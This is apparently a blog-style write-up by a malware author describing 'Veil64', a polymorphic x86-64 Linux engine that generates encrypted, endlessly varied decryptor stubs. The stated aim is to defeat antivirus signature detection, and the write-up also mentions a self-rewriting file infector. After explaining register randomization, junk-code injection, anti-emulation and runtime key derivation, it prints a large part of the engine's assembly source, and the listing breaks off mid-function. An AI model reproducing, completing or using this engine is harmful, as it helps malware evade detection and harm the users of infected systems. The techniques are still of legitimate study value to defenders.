The core insight is: a program’s identity is not its bytes, but its behavior. If I can generate infinitely many patterns that keep behavior unchanged while making bytes different, signature-based detection will be continuously undermined.

But this also raises harder questions:

How to systematically generate equivalent code?
How to guarantee correctness across mutations?
How to make variants truly unpredictable?

These three questions directly shaped the design of my two engines. They explore different paths to “mutation,” and we call them Veil64 and Morpheus.

Veil64 is a polymorphic code generator used to produce infinite variants of decryption routines: same functionality, infinite forms. Morpheus is a file infector that truly rewrites its own code during execution.

This is the core idea. Everything else is built on top of it: if you cannot hide what is done, then make how it is done unpredictable.

Signatures are the byte patterns that AV focuses on tracking — the “high-risk” digital footprints. Strings, code fragments, hashes — anything that can mark malware will be used. Encryption is a key technique here: it scrambles these recognizable markers, making it difficult for AV to hit them.

Then there is the payload, the part that actually executes the malicious logic. It usually does not run alone but is bound to a stub. This small module decrypts and launches the payload in memory. Because the payload itself is encrypted, AV has difficulty hitting it statically and instead targets the stub. The advantage is that the stub is small and easy to continuously mutate, allowing it to constantly bypass old rules.

This turns the confrontation into a “one-to-many” game, and this mathematical relationship naturally favors the mutation side. Each new variant has a chance to break old detection rules, burn old signatures, and continue to lurk.

“What starts as polymorphic finishes as metamorphic.”

— Levels of Mutation —

Mutation is not just surface-level change — it occurs across layers, including syntactic, structural, and semantic reconstruction.

First, syntactic mutation (grammar-level mutation). This is the outermost layer: replacing equivalent instructions, randomizing register usage, and reordering operations. Appearance changes, result remains the same.

Original:     mov eax, [ebx+4]
Mutated:      push ebx
              add ebx, 4
              mov eax, [ebx]
              sub ebx, 4
              pop ebx

Both snippets load the value at [ebx+4] into eax, but the instruction paths are completely different.

Deeper is structural mutation (structure-level mutation). The change is more profound: reconnecting control flow, rewriting data structures, or even replacing entire algorithms with “different paths but equivalent results.”

The deepest is semantic mutation (semantic-level mutation). It splits functions and reorganizes logic into behaviorally equivalent bodies while ensuring the original intent remains unchanged.

— The Conservation Principle —

No matter how aggressive the mutation, there is one non-negotiable constraint: the program’s semantic behavior must be preserved. What is done (functional output) must remain unchanged; only how it is done (internal implementation mechanism) can change.

The genotype (underlying code structure) can freely drift, mutate, and be obfuscated; the phenotype (externally observable behavior) must remain constant. All mutation techniques can only operate within this boundary.

Naive Approaches

Polymorphism is the purest form of mutation. It essentially expresses the same thing in a thousand different ways. Like a chameleon with a clear goal: core behavior is locked, while everything else continuously changes. No fixed identity, only endless variants.

My first serious attempt to break signature detection was Veil64: a polymorphic code generator capable of generating infinite different ways to write the same decryption logic. The goal was simple: encrypt the payload differently every time and ensure the decryptor never appears the same twice.

— Core Challenges —

Constructing code that can correctly decrypt every time but looks different each time is non-trivial. Every generation must be compact, fast, clean, highly efficient, without leaving obvious patterns, and resistant to both static and dynamic analysis.

I started with a simple two-stage design, and understanding this split is key to why it works. The first layer is the stub: a minimal piece of code responsible for memory allocation and decrypting the embedded engine. The second layer is the engine itself: the polymorphic decryptor that actually handles the payload.

┌─────────────────┐
│   Stub Code     │   (119-200 bytes)
├─────────────────┤
│ Encrypted Engine│   (176-300 bytes)
├─────────────────┤
│   Padding       │
└─────────────────┘

Why use two stages? Because this allows the polymorphic engine itself to be encrypted. The stub is small and simple, so even with variants, the signature surface is limited. The real polymorphic power resides in the engine. By encrypting the engine and embedding it inside the stub, complex and variable code is hidden until runtime.

The overall flow is as follows: you call genrat() with a buffer, size, and seed key. The engine first generates a runtime key using multiple entropy sources: RDTSC provides hardware timing, stack pointer provides process differences, and RIP provides position-related randomness. It then builds the polymorphic engine, including random register allocation, selection among four algorithmic variants, and intelligent junk code injection.

Next comes the stub generation stage. Multiple mmap syscall initialization variants are generated, RIP-relative addressing is handled for position independence, and the encrypted engine is embedded. Finally, everything is encrypted and assembled into executable code.

The clever part is that the stub and engine change independently. Even if someone creates a signature for a stub variant, the internal encrypted engine is different every time. Even if they manage to extract and analyze the engine, the next generation will use a completely different set of registers and algorithms.

— The Four Pillars of Polymorphism —

Never use the same set of registers twice.

Hard-coded registers are signature bait. If your decryptor always uses EAX as a counter and EBX as a data pointer, you are practically exposing yourself. Such patterns will be quickly flagged, so the engine randomizes register usage on every generation.

But this is not random grabbing. The selection process avoids conflicts, skips RSP to prevent stack corruption, and ensures no register takes on multiple roles. The underlying logic looks roughly like this:

get_rr:
    call next_random
    and rax, 7
    cmp al, REG_RSP           ; Never use stack pointer
    je get_rr
    cmp al, REG_RAX           ; Avoid RAX conflicts
    je get_rr
    mov [rel reg_base], al    ; Store base register

.retry_count:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_count
    cmp al, [rel reg_base]    ; Ensure no conflicts
    je .retry_count
    mov [rel reg_count], al

This process is repeated for key registers and all registers used in junk code. Even before considering algorithms and junk injection, there are already 210 possible register combinations. That means the same register-level operation can have 210 different appearances — all completely distinct to a signature scanner.

One variant might use RBX for data, RCX for counting, and RDX for the key. The next might switch to RSI for data, RDI for counting, and RBX for the key. Yet another could use extended registers R8, R9, R10. Every combination is functionally equivalent, but the opcode patterns are completely different.

— Four Ways to Say the Same Thing —

Register randomization is only the starting point. True depth comes from algorithmic polymorphism. We do not fix a single decryption flow but cycle between four equivalent algorithms: same output, completely different instruction streams.

This is not simply swapping XOR for ADD. Each variant is carefully designed to guarantee correctness while maximizing signature dispersion.

Algorithm 0: ADD → ROL → XOR
Algorithm 1: XOR → ROL → XOR
Algorithm 2: SUB → ROR → XOR
Algorithm 3: XOR → ADD → XOR

All four algorithms produce identical final results, but their instruction sequences and opcode patterns are entirely different.

Each algorithm has a corresponding inverse process in the encryption phase. For example, if encryption uses XOR → ROR → SUB, decryption uses ADD → ROL → XOR. Mathematically they cancel perfectly, but the instruction flows never look the same. Opcode patterns, instruction lengths, and register usage all change. To a signature scanner, they appear as completely different routines.

— Intelligent Junk Code —

Most polymorphic engines fail here: they either stuff random bytes or pile on obvious NOP sleds, practically shouting “I’m malware.” That is low-level. True polymorphism uses “intentional-looking” junk code that blends into the context and mimics normal compiler output.

Junk injection is not purely random — it is structured. It uses no-net-effect PUSH/POP pairs that look like register preservation, XOR reg, reg to imitate common zeroing initialization, and MOV reg, reg that resembles typical compiler register shuffling.

This is just a very basic example. Some engines do it more aggressively. The key point is to make it look like real developer code. PUSH RAX followed by POP RBX can masquerade as register saving and transfer; XOR RAX, RAX looks like legitimate initialization; MOV RAX, RAX resembles dead code left by an optimizer. Functionally they add no value, but visually they blend in.

Junk injection also deliberately varies in density: sometimes heavy, sometimes sparse; sometimes clumped, sometimes scattered in loops. There is no fixed “junk zone” that can be isolated — only code that looks normal every single time.

— Breaking Linear Analysis —

Static analysis relies on linear flow: traversing code, building graphs, and extracting patterns. So we break it. Random jumps are inserted to skip over junk regions, directly destroying straight-line logic.

Jump generation is subtle. Sometimes 2-byte short jumps, sometimes 5-byte long jumps; they may skip only 1 byte or over a dozen. The skipped junk content is randomized every time. Even if the analyzer follows the jump path, its rhythm is disrupted on every run.

This produces unpredictable control flow and interferes with both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data; dynamic tools encounter different execution paths on every run, making it difficult to build a stable behavioral profile.

These jumps also serve a dual purpose: they mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own jumps increases this “natural complexity,” helping the code blend more seamlessly.

— The Entropy Problem —

Hard-coded keys or constants are traps. I learned this the hard way: early versions embedded the constant 0xDEADBEEF in every variant. No matter how much the rest of the code changed, that fixed value instantly became a red flag.

The solution is runtime key generation: no fixed constants, no repetition, no nail-down patterns. The key is reconstructed on every execution, drawing from multiple entropy sources that vary with execution round, process, and machine.

Entropy comes from multiple sources. RDTSC provides high-resolution microsecond-level timing; the stack pointer changes with processes and function calls; RIP brings position-related randomness under ASLR; the user key introduces input-driven variation.

The real strength lies in how these values are combined. It is not simple XOR, but involves rotations, complements, and mixing with stack-related values. Each transformation step depends on the current state, forming a dependency chain that ultimately produces a truly unpredictable key.

— Randomness Is Critical —

Excellent polymorphic capability depends on high-quality randomness. Many engines use basic linear congruential generators or simple incrementing counters — both easily produce predictable patterns that can be flagged. I prefer the XorShift PRNG: fast, long period (2^64−1), and passes strong statistical randomness tests without repeating for a very long time.

Under ASLR, code is loaded at different addresses each time. Hard-coded absolute addresses will cause the polymorphic decryptor to fail if it lands in an unexpected location. The solution is RIP-relative addressing, with offsets calculated based on the current instruction pointer.

— Just-in-Time Machine Code Generation —

This is where we reach the real core. You cannot simply rearrange pre-written assembly and call it polymorphic. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are computed dynamically based on the current register allocation and algorithm choice.

The ModRM byte is especially critical in x64: it encodes which registers are used. By calculating this byte dynamically, the engine can implement the same operation with any register combination, producing different bytes — and therefore different signatures.

The same polymorphic thinking applies to all syscall parameters. Multiple construction methods are used to avoid pattern matching.

— Performance and Scalability —

Basic generation averages 9 to 13 milliseconds per variant, translating to 50,000 to 75,000 variants per minute — enough to overwhelm signature detection. Speed is not higher because each variant undergoes register renaming, flow randomization, intelligent junk injection, and anti-debug checks.

Generation time fluctuates by ±3 to 4 ms by design to avoid predictability; stable timing would aid detection. The engine maintains this jitter by varying instruction order, junk block size, and encryption rounds.

Static memory footprint is approximately 340 to 348 KB — far larger than toy 4 KB engines. This includes precomputed transformation tables, runtime mutation logic, and anti-emulation traps. Per-variant memory usage remains stable with no leaks or growth.

Code size fluctuates between 180 bytes and 1.2 KB. Compact variants favor speed; balanced variants strike a compromise; complex variants maximize complexity to stress AV engines.

— What Variants Look Like —

Variant #1: Size 335, Key 0x4A4BDC5C3AEAC0AD
48 C7 C0 0A 00 00 00    mov rax, 10
48 FF C8                dec rax
50                      push rax
58                      pop rax
90                      nop
48 31 FF                xor rdi, rdi
...

Variant #2: Size 368, Key 0x6BAAA583D73FA32B
50                      push rax
58                      pop rax
50                      push rax
58                      pop rax
48 31 C0                xor rax, rax
48 83 C0 09             add rax, 9
...

Variant #3: Size 385, Key 0x5C3F1EDF85C0D55E
90                      nop
90                      nop
50                      push rax
58                      pop rax
48 C7 C0 09 00 00 00    mov rax, 9
...

Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 uses PUSH/POP junk first, then XOR/ADD. Variant #3 starts with NOPs, inserts another set of junk, then loads directly. The result is the same (RAX = 9), but the method is completely different.

Size fluctuation is large. These three samples differ by less than 50 bytes. In reality, the engine can produce variants from compact 180-byte versions to large 1200-byte versions, depending on the intensity of junk injection and obfuscation.

The engine classifies variants into three categories by structure and complexity. Compact types (≈295–350 bytes) minimize junk and prioritize speed; balanced types (up to 400 bytes) compromise between obfuscation and stability; complex types (up to 500 bytes) layer more polymorphic techniques and anti-analysis features.

With four algorithms combined with 210 register permutations, there are already 840 base variants before adding junk and control-flow obfuscation. Introducing variable junk injection, diverse jump patterns, and multiple stub initialization methods expands the variant space into the millions.

The key is not just quantity, but “functional equivalence + signature diversity.” Every variant can correctly decrypt the payload, yet appears distinctly different from a signature-detection perspective.

Effective polymorphism maximizes signature diversity without degrading correctness. Generating billions of variants is meaningless if many are broken or still share detectable patterns. Correctness and diversity scale must hold simultaneously.

— Built-in Anti-Analysis Design —

Emulation engines usually struggle with variable timing, and junk code injection creates unpredictable execution durations. Key generation dependent on stack state makes the same variant behave differently across process contexts. Reliance on hardware timestamps further increases emulation cost because it requires accurate RDTSC simulation.

With no fixed constants or strings, static analysis tools struggle because there are almost no grep-able or fingerprintable anchors. Polymorphic control flow breaks linear analysis, while the encrypted embedded engine hides core logic until runtime.

Dynamic analysis is also disrupted by “legitimate-looking, functionally neutral” junk code. Multiple execution paths generate different behavioral traces on every run. Runtime key derivation ensures each execution has a unique key, making results difficult to reuse even if tracing succeeds.

Anti-analysis features are not optional — they are part of the system. Every polymorphic technique serves two purposes simultaneously: evading signatures and increasing analysis cost.

Veil64 Full Source Code

;------------------------------------------------------------
;   [ V E I L 6 4 ]
;------------------------------------------------------------
;   Type:           Polymorphic Engine / Stub Generator
;   Platform:       x86_64 Linux
;   Size:           ~4KB Engine + Custom Stub
;                   Runtime shellcode obfuscation, encryption,
;                   and stealth execution via mmap + RIP tricks.
;
;                                                   0xf00sec
;------------------------------------------------------------

section .text

global genrat
global exec_c
global _start

; x64 opcodes
%define PUSH_REG           0x50
%define POP_REG            0x58
%define ADD_MEM_REG        0x01
%define ADD_REG_IMM8       0x83
%define ROL_MEM_IMM        0xC1
%define XOR_MEM_REG        0x31
%define TEST_REG_REG       0x85
%define JNZ_SHORT          0x75
%define JZ_SHORT           0x74
%define CALL_REL32         0xE8
%define JMP_REL32          0xE9
%define JMP_SHORT          0xEB
%define RET_OPCODE         0xC3
%define NOP_OPCODE         0x90
%define JNZ_LONG           0x0F85
%define FNINIT_OPCODE      0xDBE3
%define FNOP_OPCODE        0xD9D0

; register encoding
%define REG_RAX            0
%define REG_RCX            1
%define REG_RDX            2
%define REG_RBX            3
%define REG_RSP            4
%define REG_RBP            5
%define REG_RSI            6
%define REG_RDI            7

section .data

stub_key:               dq 0xDEADBEEF            ; runtime key
sec_key:                dq 0x00000000
engine_size:            dq 0
dcr_eng:                dq 0
stub_sz:                dq 0
sz:                     dq 0

seed:                   dq 0                     ; PRNG state
p_entry:                dq 0                     ; output buffer
key:                    dq 0                     ; user key
reg_base:               db 0                     ; selected registers
reg_count:              db 0
reg_key:                db 0
junk_reg1:              db 0                     ; junk registers
junk_reg2:              db 0
junk_reg3:              db 0
prolog_set:             db 0
fpu_set:                db 0
jmp_back:               dq 0
alg0_dcr:               db 0                     ; algorithm selector

align 16
entry:
times 4096 db 0                                 ; engine storage
exit:

section .text

; main generator entry point
genrat:
    push rbp
    mov rbp, rsp
    sub rsp, 64
    push rbx
    push r12
    push r13
    push r14
    push r15

    test rdi, rdi                               ; validate params
    jz .r_exit
    test rsi, rsi
    jz .r_exit
    cmp rsi, 1024                               ; min buffer size
    jb .r_exit

    mov [rel p_entry], rdi
    mov [rel sz], rsi
    mov [rel key], rdx

    call gen_runtm                              ; generate runtime keys

    lea rdi, [rel entry]
    mov r12, rdi
    call gen_reng                               ; build engine

    mov rax, rdi                                ; calculate engine size
    sub rax, r12
    mov [rel engine_size], rax

    mov rdi, [rel p_entry]
    call unpack_stub                            ; build stub
    call enc_bin                                ; encrypt payload

    mov rax, [rel stub_sz]                      ; total
    test rax, rax
    jnz .calc_sz
    mov rax, rdi
    sub rax, [rel p_entry]

.calc_sz:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 64
    pop rbp
    ret

.r_exit:
    xor rax, rax
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 64
    pop rbp
    ret

; generate engine
gen_reng:
    push rdi
    push rsi
    push rcx

    rdtsc
    xor rax, [rel key]
    mov rbx, 0x5DEECE66D
    xor rax, rbx
    mov rbx, rax
    shl rbx, 13
    xor rax, rbx
    mov rbx, rax
    shr rbx, 17
    xor rax, rbx
    mov rbx, rax
    shl rbx, 5
    xor rax, rbx
    xor rax, rsp
    mov [rel seed], rax

    push rdi                                    ; clear state
    lea rdi, [rel reg_base]
    mov rcx, 16
    xor rax, rax
    rep stosb
    pop rdi

    pop rcx
    pop rsi
    pop rdi

    call get_rr                                 ; select random registers
    call set_al                                 ; pick decrypt algorithm
    call gen_p                                  ; generate prologue

    call yes_no                                 ; random junk insertion
    test rax, rax
    jz .skip_pr
    call gen_trash

.skip_pr:
    call trash

    call yes_no
    test rax, rax
    jz .skip_dummy
    call gen_dummy

.skip_dummy:
    call gen_dec                                ; main decrypt loop

    call yes_no
    test rax, rax
    jz .skip_prc
    call gen_trash

.skip_prc:
    mov al, RET_OPCODE
    stosb

    cmp qword [rel jmp_back], 0                 ; conditional jump back
    je .skip_jmp

    mov ax, JNZ_LONG
    stosw
    mov rax, [rel jmp_back]
    sub rax, rdi
    sub rax, 4
    stosd

.skip_jmp:
    call trash
    mov al, RET_OPCODE
    stosb
    ret

; encrypt generated engine
enc_bin:
    push rdi
    push rsi
    push rcx
    push rax
    push rbx

    lea rdi, [rel entry]
    mov rcx, [rel engine_size]

    ; validate engine size
    test rcx, rcx
    jz .enc_done
    cmp rcx, 4096
    ja .enc_done
    cmp rcx, 10
    jb .enc_done

    ; encrypt in place
    mov rax, [rel stub_key]
    mov rsi, rcx

.enc_loop:
    test rsi, rsi
    jz .enc_done
    xor byte [rdi], al
    rol rax, 7
    inc rdi
    dec rsi
    jmp .enc_loop

.enc_done:
    pop rbx
    pop rax
    pop rcx
    pop rsi
    pop rdi
    ret

; build stub wrapper
unpack_stub:
    push rbx
    push rcx
    push rdx
    push r12

    mov r12, rdi

    call bf_boo                                 ; bounds check
    jae .stub_flow

    call stub_trash
    call gen_stub_mmap
    call stub_decrypt

    mov rax, rdi
    sub rax, r12
    mov [rel stub_sz], rax

    call stub_trash

    ; update size after junk
    mov rax, rdi
    sub rax, r12

    ; check space for encrypted engine
    mov rbx, rax
    add rax, [rel engine_size]
    cmp rax, [rel sz]
    ja .stub_flow

    ; embed encrypted engine
    lea rsi, [rel entry]
    mov rcx, [rel engine_size]
    test rcx, rcx
    jz .skip_embed
    rep movsb

.skip_embed:
    ; final size calculation
    mov rax, rdi
    sub rax, r12
    mov [rel stub_sz], rax

    pop r12
    pop rdx
    pop rcx
    pop rbx
    ret

.stub_flow:
    xor rax, rax
    mov [rel stub_sz], rax
    pop r12
    pop rdx
    pop rcx
    pop rbx
    ret

; generate stub junk
stub_trash:
    call next_random
    and rax, 7                                  ; 0-7 junk instructions
    mov rcx, rax
    test rcx, rcx
    jz .no_garbage

.trash_loop:
    call next_random
    and rax, 3                                  ; choose junk type
    cmp al, 0
    je .gen_nop
    cmp al, 1
    je .gen_push_pop
    cmp al, 2
    je .gen_xor_self
    jmp .gen_mov_reg

.gen_nop:
    mov al, 0x90
    stosb
    jmp .next_garbage

.gen_push_pop:
    mov al, 0x50                                ; push rax
    stosb
    mov al, 0x58                                ; pop rax
    stosb
    jmp .next_garbage

.gen_xor_self:
    mov al, 0x48                                ; rex.w
    stosb
    mov al, 0x31                                ; xor rax,rax
    stosb
    mov al, 0xC0
    stosb
    jmp .next_garbage

.gen_mov_reg:
    mov al, 0x48                                ; rex.w
    stosb
    mov al, 0x89                                ; mov rax,rax
    stosb
    mov al, 0xC0
    stosb

.next_garbage:
    loop .trash_loop

.no_garbage:
    ret

; generate mmap syscall stub
gen_stub_mmap:
    ; mmap setup
    call next_random
    and rax, 3                                  ; choose method
    cmp al, 0
    je .mmap_method_0
    cmp al, 1
    je .mmap_method_1
    cmp al, 2
    je .mmap_method_2
    jmp .mmap_method_3

.mmap_method_0:
    ; mov rax, 9
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 9                                  ; mmap syscall
    stosd
    jmp .mm_continue

.mmap_method_1:
    ; xor rax,rax; add rax,9
    mov al, 0x48
    stosb
    mov al, 0x31
    stosb
    mov al, 0xC0
    stosb
    mov al, 0x48
    stosb
    mov al, 0x83
    stosb
    mov al, 0xC0
    stosb
    mov al, 9
    stosb
    jmp .mm_continue

.mmap_method_2:
    ; mov rax,10; dec rax
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 10
    stosd
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC8
    stosb
    jmp .mm_continue

.mmap_method_3:
    ; mov rax,18; shr rax,1
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 18
    stosd
    mov al, 0x48
    stosb
    mov al, 0xD1
    stosb
    mov al, 0xE8
    stosb

.mm_continue:
    call stub_trash

    ; rdi setup
    call next_random
    and rax, 1
    test rax, rax
    jz .rdi_method_0

    ; mov rdi,0
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC7
    stosb
    mov eax, 0
    stosd
    jmp .rdi_done

.rdi_method_0:
    ; xor rdi,rdi
    mov al, 0x48
    stosb
    mov al, 0x31
    stosb
    mov al, 0xFF
    stosb

.rdi_done:

    ; mov rsi,4096
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC6
    stosb
    mov eax, 4096
    stosd

    ; mov rdx,7 (rwx)
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC2
    stosb
    mov eax, 7
    stosd

    ; mov r10,0x22 (private|anon)
    mov al, 0x49
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC2
    stosb
    mov eax, 0x22
    stosd

    ; mov r8,-1
    mov al, 0x49
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC0
    stosb
    mov eax, 0xFFFFFFFF
    stosd

    ; mov r9,0
    mov al, 0x4D
    stosb
    mov al, 0x31
    stosb
    mov al, 0xC9
    stosb

    ; syscall
    mov al, 0x0F
    stosb
    mov al, 0x05
    stosb
    ret

; generate decryption stub
stub_decrypt:
    ; mov rbx,rax (save mmap result)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xC3
    stosb

    ; calculate RIP-relative offset to embedded engine
    mov r15, rdi

    mov rax, [rel p_entry]
    mov rdx, [rel stub_sz]
    test rdx, rdx
    jnz .usszz
    ; fallback calculation
    mov rdx, rdi
    sub rdx, [rel p_entry]
    add rdx, 100

.usszz:
    add rax, rdx                                ; engine position

    ; RIP-relative calculation
    mov rbx, r15
    add rbx, 7                                  ; after LEA instruction
    sub rax, rbx

    ; lea rsi,[rip+offset]
    mov al, 0x48
    stosb
    mov al, 0x8D
    stosb
    mov al, 0x35
    stosb
    stosd

    ; mov rcx,engine_size
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC1
    stosb
    mov rax, [rel engine_size]
    test rax, rax
    jnz .engine_sz
    mov rax, 512

.engine_sz:
    cmp rax, 65536
    jbe .size_ok
    mov rax, 65536

.size_ok:
    stosd

    ; mov rdx,stub_key
    mov al, 0x48
    stosb
    mov al, 0xBA
    stosb
    mov rax, [rel stub_key]
    stosq

    ; decryption loop
    mov r14, rdi

    ; test rcx,rcx
    mov al, 0x48
    stosb
    mov al, 0x85
    stosb
    mov al, 0xC9
    stosb

    ; jz done
    mov al, 0x74
    stosb
    mov al, 0x10
    stosb

    ; xor [rsi],dl
    mov al, 0x30
    stosb
    mov al, 0x16
    stosb

    ; rol rdx,7
    mov al, 0x48
    stosb
    mov al, 0xC1
    stosb
    mov al, 0xC2
    stosb
    mov al, 7
    stosb

    ; inc rsi
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC6
    stosb

    ; dec rcx
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC9
    stosb

    ; jmp loop
    mov al, 0xEB
    stosb
    mov rax, r14
    sub rax, rdi
    sub rax, 1
    neg al
    stosb

    ; copy to allocated memory
    ; mov rdi,rbx
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xDF
    stosb

    ; calculate engine position
    mov rax, [rel p_entry]
    mov rbx, [rel stub_sz]
    add rax, rbx

    ; RIP-relative offset
    mov rbx, rdi
    add rbx, 7
    sub rax, rbx

    ; lea rsi,[rip+offset]
    mov al, 0x48
    stosb
    mov al, 0x8D
    stosb
    mov al, 0x35
    stosb
    stosd

    ; mov rcx,engine_size
    mov al, 0x48
    stosb
    mov al, 0xC7
    stosb
    mov al, 0xC1
    stosb
    mov rax, [rel engine_size]
    test rax, rax
    jnz .engine_sz2
    mov rax, 256
.engine_sz2:
    stosd

    ; rep movsb
    mov al, 0xF3
    stosb
    mov al, 0xA4
    stosb

    mov al, RET_OPCODE
    stosb

    ret

bf_boo:
    push rbx

    mov rax, rdi
    sub rax, [rel p_entry]
    add rax, 300
    cmp rax, [rel sz]

    pop rbx
    ret

; generate runtime keys
gen_runtm:
    push rbx
    push rcx

    rdtsc                                       ; entropy from RDTSC
    shl rdx, 32
    or rax, rdx
    xor rax, [rel key]                          ; mix with user key

    mov rbx, rsp                                ; stack entropy
    xor rax, rbx

    call .get_rip                               ; RIP entropy
.get_rip:
    pop rbx
    xor rax, rbx

    rol rax, 13

    mov rbx, rax                                ; dynamic constant
    ror rbx, 19
    xor rbx, rsp
    add rax, rbx

    mov rbx, rax                                ; dynamic XOR
    rol rbx, 7
    not rbx
    xor rax, rbx

    mov [rel stub_key], rax

    rol rax, 7                                  ; secondary key
    mov rbx, 0xCAFE0F00
    shl rbx, 32
    or rbx, 0xDEADC0DE
    xor rax, rbx
    mov [rel sec_key], rax

    mov rax, [rel stub_key]                     ; ensure different from user key
    cmp rax, [rel key]
    jne .keys_different
    not rax
    mov [rel stub_key], rax
.keys_different:

    pop rcx
    pop rbx
    ret

; PRNG
next_random:
    push rdx
    mov rax, [rel seed]
    mov rdx, rax
    shl rdx, 13
    xor rax, rdx
    mov rdx, rax
    shr rdx, 17
    xor rax, rdx
    mov rdx, rax
    shl rdx, 5
    xor rax, rdx
    mov [rel seed], rax
    pop rdx
    ret

random_range:
    push rdx
    call next_random
    pop rcx
    test rcx, rcx
    jz .range_zero
    xor rdx, rdx
    div rcx
    mov rax, rdx
    ret
.range_zero:
    xor rax, rax
    ret

; random boolean
yes_no:
    call next_random
    and rax, 0xF
    cmp rax, 7
    setbe al
    movzx rax, al
    ret

; select random registers
get_rr:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je get_rr
    cmp al, REG_RAX                             ; avoid rax as base
    je get_rr
    mov [rel reg_base], al

.retry_count:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_count
    cmp al, REG_RAX                             ; avoid rax as count
    je .retry_count
    cmp al, [rel reg_base]
    je .retry_count
    mov [rel reg_count], al

.retry_key:
    call next_random
    and rax, 7
    cmp al, REG_RSP
    je .retry_key
    cmp al, [rel reg_base]
    je .retry_key
    cmp al, [rel reg_count]
    je .retry_key
    mov [rel reg_key], al

.retry_junk1:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk1
    mov [rel junk_reg1], al

.retry_junk2:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk2
    cmp al, [rel junk_reg1]
    je .retry_junk2
    mov [rel junk_reg2], al

.retry_junk3:
    call next_random
    and rax, 15
    cmp al, REG_RSP
    je .retry_junk3
    cmp al, [rel junk_reg1]
    je .retry_junk3
    cmp al, [rel junk_reg2]
    je .retry_junk3
    mov [rel junk_reg3], al
    ret

; select algorithm
set_al:
    call next_random
    and rax, 3
    mov [rel alg0_dcr], al
    ret

; generate prologue
gen_p:
    call gen_jmp
    call trash
    call yes_no
    test rax, rax
    jz .skip_trash1
    call trash
.skip_trash1:

    ; mov reg_key,key
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0xB8
    add al, [rel reg_key]
    stosb
    mov byte [rel prolog_set], 1
    mov rax, [rel key]
    stosq

    call yes_no
    test rax, rax
    jz .skip_trash2
    call trash
.skip_trash2:
    ret

; generate decrypt loop
gen_dec:
    mov [rel jmp_back], rdi

    call trash
    call gen_jmp

    ; mov reg_base,rdi (data pointer)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xF8
    add al, [rel reg_base]
    stosb

    call trash
    call gen_jmp

    ; mov reg_count,rsi (size)
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xF0
    add al, [rel reg_count]
    stosb

    call trash
    call gen_jmp

.decr_loop:
    movzx rax, byte [rel alg0_dcr]
    cmp al, 0
    je .gen_algo_0
    cmp al, 1
    je .gen_algo_1
    cmp al, 2
    je .gen_algo_2
    jmp .gen_algo_3

.gen_algo_0:
    ; add/rol/xor
    call gen_add_mem_key
    call trash
    call gen_trash
    call gen_rol_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_1:
    ; xor/rol/xor
    call gen_xor_mem_key
    call trash
    call gen_trash
    call gen_rol_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_2:
    ; sub/ror/xor
    call gen_sub_mem_key
    call trash
    call gen_trash
    call gen_ror_mem_16
    call trash
    call gen_trash
    call gen_xor_mem_key
    jmp .gen_loop_end

.gen_algo_3:
    ; xor/add/xor
    call gen_xor_mem_key
    call trash
    call gen_trash
    call gen_add_mem_key
    call trash
    call gen_trash
    call gen_xor_mem_key

.gen_loop_end:
    call trash
    call gen_jmp

    mov al, ADD_REG_IMM8
    stosb
    mov al, 0xC0
    add al, [rel reg_base]
    stosb
    mov al, 8
    stosb

    call trash
    call gen_jmp

    ; generate DEC instruction
    movzx rax, byte [rel reg_count]
    cmp al, 8
    jb .dec_no_rex
    mov al, 0x49                                ; rex.wb for r8-r15
    stosb
    movzx rax, byte [rel reg_count]
    sub al, 8
    jmp .dec_encode
.dec_no_rex:
    mov al, 0x48                                ; rex.w for rax-rdi
    stosb
    movzx rax, byte [rel reg_count]
.dec_encode:
    mov ah, 0xFF
    xchg al, ah
    stosw
    mov al, 0xC8
    add al, [rel reg_count]
    and al, 7
    stosb

    mov al, TEST_REG_REG
    stosb
    mov al, [rel reg_count]
    shl al, 3
    add al, [rel reg_count]
    add al, 0xC0
    stosb

    mov ax, JNZ_LONG
    stosw
    mov rax, [rel jmp_back]
    sub rax, rdi
    sub rax, 4
    neg eax
    stosd
    ret

; algorithm generators
gen_add_mem_key:
    call gen_jmp
    mov al, ADD_MEM_REG
    stosb
    mov dl, [rel reg_key]
    shl dl, 3
    mov al, [rel reg_base]
    add al, dl
    stosb
    ret

gen_sub_mem_key:
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0x29
    stosb
    mov dl, [rel reg_key]
    shl dl, 3
    mov al, [rel reg_base]
    add al, dl
    stosb
    ret

gen_xor_mem_key:
    call gen_jmp
    mov ax, XOR_MEM_REG
    mov dl, [rel reg_key]
